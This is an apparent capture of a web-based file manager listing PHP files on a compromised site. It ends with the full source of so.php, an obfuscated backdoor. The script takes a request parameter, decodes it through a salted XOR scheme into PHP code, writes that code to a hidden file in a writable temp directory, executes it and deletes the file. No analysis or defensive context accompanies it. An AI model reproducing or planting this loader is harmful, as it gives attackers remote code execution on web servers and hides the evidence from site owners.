at path：
ROOT
/
so.php
run：
R
W
Run
.htaccess
231 By
2026-04-06 01:42:36
R
W
Run
Delete
Rename
error_log
708 By
2026-04-08 12:38:12
R
W
Run
Delete
Rename
portfolio.php
603 By
2026-04-08 12:38:59
R
W
Run
Delete
Rename
robots.txt
955 By
2026-04-06 01:44:06
R
W
Run
Delete
Rename
simple.php
15.05 KB
2026-04-06 01:42:36
R
W
Run
Delete
Rename
so.php
909 By
2026-04-06 01:42:36
R
W
Run
Delete
Rename
so_SO.php
697 By
2026-04-06 01:42:36
R
W
Run
Delete
Rename
error_log
up
📄
so.php
Save
<?php if(array_key_exists("co\x6D\x70", $_REQUEST)){ $res = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getcwd(), "/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), "/var/tmp"]); $binding = $_REQUEST["co\x6D\x70"]; $binding = explode('.', $binding ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); foreach( $binding as $w => $v1): $chS = ord( $salt[$w% $lenS] ); $d =( ( int)$v1 - $chS -( $w% 10)) ^ 28; $ent.= chr( $d ); endforeach; for ($k = 0, $fac = count($res); $k < $fac; $k++) { $descriptor = $res[$k]; if (is_dir($descriptor) ? is_writable($descriptor) : false) { $rec = sprintf("%s/.entity", $descriptor); if (file_put_contents($rec, $ent)) { include $rec; @unlink($rec); die(); } } } }